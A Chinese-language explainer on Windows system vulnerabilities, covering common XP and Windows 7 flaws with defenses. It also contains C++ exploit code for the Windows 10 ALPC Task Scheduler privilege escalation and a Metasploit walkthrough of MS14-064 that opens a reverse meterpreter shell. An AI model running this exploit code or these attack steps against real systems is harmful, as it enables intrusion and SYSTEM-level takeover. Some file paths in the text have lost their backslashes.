我们电脑的windows系统,默认都会开启系统更新,经常告诉我们要更新修复系统漏洞,还有我们也会自己安装一些电脑维护软件,比如安全卫士或电脑管家,有时系统启动后经常会弹出窗口提示检测到存在高危漏洞,那么什么是系统漏洞呢?Windows系统漏洞对电脑会造成什么危害?常见的漏洞有哪些? 攻击者是如何利用这些漏洞的?
Windows系统漏洞是指操作系统在开发过程中存在的技术缺陷或程序错误,这些缺陷可能导致其他用户(比如黑客)非法访问或利用病毒攻击计算机系统,从而窃取电脑重要资料和信息,甚至破坏操作系统。因此,系统开发商(比如微软公司)一般每月都会发布最新的补丁程序用以修复新发现的漏洞。
1、系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马等;
2、系统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失;
3、在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大;
4、被严重破坏的操作系统只能通过重装系统来解决,u盘重装ghost win7教程图解。
系统漏洞主要分为两种,一种是高危漏洞,另一种是功能性漏洞:
1、高危漏洞:系统核心和Office 漏洞,这些漏洞允许远程执行代码,使得电脑有被入侵的危险
2、功能性漏洞:软件版本更新或给系统添加实用功能,用于解决普通的电脑问题,提升电脑性能
1.Windows XP系统常见漏洞
Windows XP系统常见的漏洞有UPNP服务漏洞、升级程序漏洞、帮助和支持中心漏洞、压缩文件夹漏洞、服务拒绝漏洞、Windows Media Player漏洞、RDP漏洞、VM漏洞、热键漏洞、账号快速切换漏洞等。
(1)UPNP服务漏洞
漏洞描述:允许攻击者执行任意指令。
Windows XP默认启动的UPNP服务存在严重安全漏洞。UPNP(Universal Plug and Play)体系面向无线设备、PC和智能应用,提供普遍的对等网络连接,在家用信息设备、办公用网络设备间提供TCP/IP连接和Web访问功能,该服务 可用于检测和集成UPNP硬件。
UPNP协议存在安全漏洞,使攻击者可非法获取任何Windows XP的系统级访问,进行攻击,还可通过控制多台XP机器发起分布式的攻击。
防御策略:禁用UPNP服务后下载并安装对应的补丁程序。
(2)升级程序漏洞
漏洞描述:如将Windows XP升级至Windows XP Pro,IE会重新安装,以前打的补丁程序将被全部清除。
Windows XP的升级程序不仅会删除IE的补丁文件,还会导致微软的升级服务器无法正确识别IE是否存在缺陷,即Windows XP Pro系统存在如下2个潜在威胁。
·某些网页或HTML邮件的脚本可自动调用Windows的程序。
·可通过IE漏洞窥视用户的计算机文件。
防御策略:如IE浏览器未下载升级补丁可至微软网站下载最新补丁程序。
(3)帮助和支持中心漏洞
漏洞描述:删除用户系统的文件。
帮助和支持中心提供集成工具,用户可获取针对各种主题的帮助和支持。在Windows XP帮助和支持中心存在漏洞,可使攻击者跳过特殊网页(在打开该网页时调用错误的函数,并将存在的文件或文件夹名字作为参数传送)使上传文件或文件夹的操 作失败,随后该网页可在网站上公布,以攻击访问该网站的用户或被作为邮件传播来攻击。该漏洞除使攻击者可删除文件外不会赋予其他权利,攻击者既无法获取系 统管理员的权限,也无法读取或修改文件。
防御策略:安装Windows XP的Service Pack 3。
(4)压缩文件夹漏洞
漏洞描述:Windows XP压缩文件夹可按攻击者的选择运行代码。
在安装有”Plus”包的Windows XP系统中,”压缩文件夹”功能允许将Zip文件作为普通文件夹处理。”压缩文件夹”功能存在2个漏洞,如下所述。
·在解压缩Zip文件时会有未经检查的缓冲存在于程序中,以存放被解压文件,因此很可能导致浏览器崩溃或攻击者的代码被运行。
·解压缩功能在非用户指定目录中放置文件,可使攻击者在用户系统的已知位置中放置文件。
防御策略:不接收不信任的邮件附件,也不下载不信任的文件。
(5)服务拒绝漏洞
漏洞描述:服务拒绝。
Windows XP支持点对点的协议(PPTP)作为远程访问服务实现的虚拟专用网技术。由于在其控制用于建立、维护和拆开PPTP连接的代码段中存在未经检查的缓存, 导致Windows XP的实现中存在漏洞。通过向一台存在该漏洞的服务器发送不正确的PPTP控制数据,攻击者可损坏核心内存并导致系统失效,中断所有系统中正在运行的进 程。该漏洞可攻击任何一台提供PPTP服务的服务器。对于PPTP客户端的工作站,攻击者只需激活PPTP会话即可进行攻击。对任何遭到攻击的系统,可通 过重启来恢复正常操作。
防御策略:关闭PPTP服务。
(6)Windows Media Player漏洞
漏洞描述:可能导致用户信息的泄漏,脚本调用,缓存路径泄漏。
Windows Media Player漏洞主要产生2个问题:一是信息泄漏漏洞,它给攻击者提供了一种可在用户系统上运行代码的方法,微软对其定义的严重级别为”严重”;二是脚本 执行漏洞,当用户选择播放一个特殊的媒体文件,接着又浏览一个特殊建造的网页后,攻击者就可利用该漏洞运行脚本。由于该漏洞有特别的时序要求,因此利用该 漏洞进行攻击相对就比较困难,它的严重级别也就比较低。
防御策略:将要播放的文件先下载到本地再播放,即可不受利用此漏洞进行的攻击。
(7)RDP漏洞
漏洞描述:信息泄露并拒绝服务。
Windows操作系统通过RDP(Remote Data Protocol)为客户端提供远程终端会话。RDP协议将终端会话的相关硬件信息传送至远程客户端,其漏洞如下所述。
·与某些RDP版本的会话加密实现有关的漏洞。所有RDP实现均允许对RDP会话中的数据进行加密,在 Windows 2000和Windows XP版本中,纯文本会话数据的校验在发送前并未经过加密,窃听并记录RDP会话的攻击者,可对该校验密码分析攻击并覆盖该会话传输。
·与Windows XP中的RDP实现对某些不正确的数据包处理方法有关的漏洞。当接收这些数据包时,远程桌面服务将会失效,同时也会导致操作系统失效。攻击者向一个已受影响的系统发送这类数据包时,并不需经过系统验证。
防御策略:Windows XP默认并未启动它的远程桌面服务。即使远程桌面服务启动,只需在防火墙中屏蔽3389端口,即可避免该攻击。
(8)VM漏洞
漏洞描述:可能造成信息泄露,并执行攻击者的代码。
攻击者可通过向JDBC类传送无效的参数使宿主应用程序崩溃,攻击者需在网站上拥有恶意的Java applet并引诱用户访问该站点。恶意用户可在用户机器上安装任意DLL,并执行任意的本机代码,潜在地破坏或读取内存数据。
防御策略:经常进行相关软件的安全更新。
(9)热键漏洞
漏洞描述:设置热键后,由于Windows XP的自注销功能,可使系统”假注销”,其他用户即可通过热键调用程序。
热键功能是系统提供的服务,当用户离开计算机后,该计算机即处于未保护情况下,此时Windows XP会自动实施”自注销”,虽然无法进入桌面,但由于热键服务还未停止,仍可使用热键启动应用程序。
防御策略:
①由于该漏洞被利用的前提为热键可用,因此需检查可能会带来危害的程序和服务的热键。
②启动屏幕保护程序,并设置密码。
③在离开计算机时锁定计算机。
(10)账号快速切换漏洞
漏洞描述:Windows XP快速账号切换功能存在问题,可造成账号锁定,使所有非管理员账号均无法登录。
Windows XP系统设计了账号快速切换功能,使用户可快速地在不同的账号间切换,但其设计存在问题,可被用于造成账号锁定,使所有非管理员账号均无法登录。配合账号 锁定功能,用户可利用账号快速切换功能,快速重试登录另一个用户名,系统则会判别为暴力破解,从而导致非管理员账号锁定。
2.Windows 7系统常见漏洞
与Windows XP相比,Windows 7系统中的漏洞就少了很多。Windows 7系统中常见的漏洞有快捷方式漏洞与SMB协议漏洞2种。
(1)快捷方式漏洞
漏洞描述:快捷方式漏洞是Windows Shell框架中存在的一个危急安全漏洞。在Shell32.dll的解析过程中,会通过”快捷方式”的文件格式去逐个解析:首先找到快捷方式所指向的文 件路径,接着找到快捷方式依赖的图标资源。这样,Windows桌面和开始菜单上就可以看到各种漂亮的图标,我们点击这些快捷方式时,就会执行相应的应用 程序。
微软Lnk漏洞就是利用了系统解析的机制,攻击者恶意构造一个特殊的Lnk(快捷方式)文件,精心构造一串程序 代码来骗过操作系统。当Shell32.dll解析到这串编码的时候,会认为这个”快捷方式”依赖一个系统控件(dll文件),于是将这个”系统控件”加 载到内存中执行。如果这个”系统控件”是病毒,那么Windows在解析这个lnk(快捷方式)文件时,就把病毒激活了。该病毒很可能通过USB存储器进 行传播。
防御策略:禁用USB存储器的自动运行功能,并且手动检查USB存储器的根文件夹。
(2)SMB协议漏洞
SMB协议主要是作为Microsoft网络的通信协议,用于在计算机间共享文件、打印机、串口等。当用户执行 SMB2协议时系统将会受到网络攻击从而导致系统崩溃或重启。因此,只要故意发送一个错误的网络协议请求,Windows 7系统就会出现页面错误,从而导致蓝屏或死机。
防御策略:关闭SMB服务。
3、Windows 10常见漏洞
本地提权漏洞:
漏洞背景
win10中任务调度服务导出的函数没有验证调用者的权限,任意权限的用户调用该函数可以获取系统敏感文件的写权限,进而提权。
漏洞影响
漏洞影响win10和windows server 2016。目前发布的EXP暂时只能用于x64系统。
漏洞详情
win10系统Task Scheduler任务调度服务中ALPC调用接口导出了SchRpcSetSecurity函数,该函数能够对一个任务或者文件夹设置安全描述符。
HRESULT SchRpcSetSecurity( [in, string] const wchar_t* path, [in,string] const wchar_t* sddl, [in] DWORD flags );
该服务是通过svchost的服务组netsvcs所启动的,对应的dll是schedsvc.dll。
在xp系统中,任务存放在C:WindowsTasks目录,后缀为.job;而win7及以后的版本任务以xml的格式存放在C:WindowsSystem32Tasks目录。
可能是为了兼容的考虑,SchRpcSetSecurity函数在win10中仍然会检测C:WindowsTasks目录下是否存在后缀为.job的文件,如果存在则会写入DACL数据。如果将job文件硬链接到特定的dll那么特定的dll就会被写入DACL数据,本来普通用户对特定的dll只具有读权限,这样就具有了写权限,接下来向dll写入漏洞利用代码并启动相应的程序就获得了提权。
那么首先需要找到一个普通用户具有读权限而系统具有写入DACL权限的dll,EXP中用的是C:WindowsSystem32DriverStoreFileRepository
prnms003.inf_amd64_4592475aca2acf83Amd64printconfig.dll,然后将C:WindowsTasksUpdateTask.job硬链接到这个dll。
WIN32_FIND_DATA FindFileData; HANDLE hFind; hFind = FindFirstFile(L”C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64*”, &FindFileData); wchar_t BeginPath[MAX_PATH] = L”c:\windows\system32\DriverStore\FileRepository\”; wchar_tPrinterDriverFolder[MAX_PATH]; wchar_t EndPath[23] = L”\Amd64\PrintConfig.dll”; wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName)); FindClose(hFind); wcscat(BeginPath, PrinterDriverFolder); wcscat(BeginPath, EndPath); //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of CreateNativeHardlink(L”c:\windows\tasks\UpdateTask.job”, BeginPath);
在调用SchRpcSetSecurity函数使普通用户成功获取了对该dll写入的权限之后写入资源文件中的exploit.dll。
//Must be name of final DLL.. might be better ways to grab the handle HMODULE mod = GetModuleHandle(L”ALPC-TaskSched-LPE”); //Payload is included as a resource, you need to modify this resource accordingly. HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); unsigned int myResourceSize = ::SizeofResource(mod, myResource); HGLOBAL myResourceData = ::LoadResource(mod, myResource); void* pMyBinaryData = ::LockResource(myResourceData); //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue HANDLE hFile; DWORD dwBytesWritten = 0; do { hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL); if (hFile == INVALID_HANDLE_VALUE) { Sleep(5000); } } while (hFile == INVALID_HANDLE_VALUE); CloseHandle(hFile);
printconfig.dll和系统打印相关,并且没有被print spooler服务默认启动。所以随后调用StartXpsPrintJob开始一个XPS打印。
//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service. CoInitialize(nullptr); IXpsOMObjectFactory *xpsFactory = NULL; CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast
(&xpsFactory));
HANDLE completionEvent = CreateEvent(
NULL, TRUE, FALSE,
NULL);
IXpsPrintJob *job =
NULL;
IXpsPrintJobStream *jobStream =
NULL;
StartXpsPrintJob(
L”Microsoft XPS Document Writer”,
L”Print Job 1″,
NULL,
NULL, completionEvent,
NULL,
0, &job, &jobStream,
NULL);
jobStream->Close();
CoUninitialize();
return
0;
整个漏洞利用程序编译出来是个dll,把它注入到notepad中运行,发现spoolsv.exe创建的notepad已经具有SYSTEM权限,而系统中的printconfig.dll也被修改成了资源文件中的exploit.dll。
防御措施
建议用户安装360安全卫士等终端防御软件拦截利用此类漏洞的攻击,不要打开来源不明的程序。
四、以实例讲解攻击者是如何利用系统漏洞发起攻击的
利用MS14-064 漏洞测试入侵win7
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本…
里已经加入了此漏洞的利用模块 :
exploit/windows/browser/ms14_064_ole_code_execution
执行命令:
msfconsole //启动MSF
search ms14 //搜索关键字
use
exploit/windows/browser/ms14_064_ole_code_execution // 加载漏洞利用模块
set payload
windows/meterpreter/reverse_tcp //设置反弹连接shell
如图:
需要注意的是箭头标记的属性默认为false 需要设置为true ,因为msf中自带的漏洞利用exp调用的是 powershell,
所以msf(Metasploit Framework)中的exp代码只对安装powershell的系统生效。安装自带powershell,
所以我们这里测试受害的机器为windows7 32位.
按照图中各个属性配置好后 执行exploit即可
得到一个URL地址,复制到受害者机器(win7)测试
当用户点击允许了后
可以看见这边反弹了一个shell,接下里我们就可以随便搞了,
攻击成功,结束!!!
五、漏洞攻击如何防护
1、及时修复系统环境中存在的安全漏洞
防范漏洞攻击最直接有效的方法就是修复系统环境中存在的安全漏洞。
2、 保持腾讯电脑管家、360安全卫士等安全软件的正常开启
正常开启腾讯电脑管家或者360安全卫士等安全软件,可以有效拦截利用漏洞触发传播的病毒,有效弥补漏洞修复的不足。
3、 培养良好的计算机使用习惯
a) 提高计算机网络安全意识
b) 不要轻易下载不明软件程序
c) 不要轻易打开不明邮件夹带的可疑附件
d) 及时备份重要的数据文件